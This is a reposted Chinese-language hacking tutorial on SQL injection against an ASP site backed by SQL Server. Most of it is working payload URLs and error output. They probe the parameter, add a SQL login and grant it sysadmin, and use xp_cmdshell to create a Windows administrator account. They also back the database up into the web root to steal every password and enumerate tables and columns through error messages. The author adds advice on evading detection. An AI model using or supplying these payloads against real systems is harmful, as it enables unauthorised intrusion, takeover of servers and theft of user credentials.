SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

不一样的自己嗯

不一样的自己嗯

2016-01-29 16:36

SQL注入实战---利用“dbo”获得SQL管理权限和系统权限,SQL注入实战---利用“dbo”获得SQL管理权限和系统权限
 

作者:覆灭之魔 文章来源:影子鹰安全网络

刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。

在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49

我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49'

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中。
/new.asp,行36

(2) Http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回页面)

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/sqlserver/)

(3) Http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.asp,行42

注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.asp?id=49 and user0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 "dbo" 转换数据类型为 int 的列时发生语法错误
/new.asp,行42
注:如果显示"dbo" 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是"abc" 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。

获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。

(1) Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用户

(2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM

(3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)

(4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/sqlserver/)

(5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

把帐号FMZM加入到管理员组

OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.


附:
(1) http://Site/url.asp?id=1 ;;and db_name()0

前面有个类似的例子and user0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

(2) http://Site/url.asp?id=1;backup database 数据库名 to disk='c:inetpubwwwroot1.db';--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\202.96.xx.xxShare1.db),但成功率不高。

   (3) http://Site/url.asp?id=1 ;;and (select Top 1 name from sysobjects where xtype='U' and status0)0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。

(4) http://Site/url.asp?id=1 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)0

从(3)拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

 
展开更多 50%)
分享

猜你喜欢

SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

SQLServer
SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

利用ASP木马程序获取管理权限

Web开发
利用ASP木马程序获取管理权限

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

win8.1如何获取最高管理权限对系统进行完全掌控

windows系统
win8.1如何获取最高管理权限对系统进行完全掌控

非管理权限用户如何设置默认浏览器

浏览器
非管理权限用户如何设置默认浏览器

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

Win7系统下开启用户最高管理权限的方法

电脑网络
Win7系统下开启用户最高管理权限的方法

如何设置Win7系统的最高管理权限的图文方法介绍

电脑入门
如何设置Win7系统的最高管理权限的图文方法介绍

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

Photoshop快速制作哆啦A梦字体

Photoshop快速制作哆啦A梦字体

看紧你的3306端口 一次通过mysql的入侵

看紧你的3306端口 一次通过mysql的入侵
下拉加载更多内容 ↓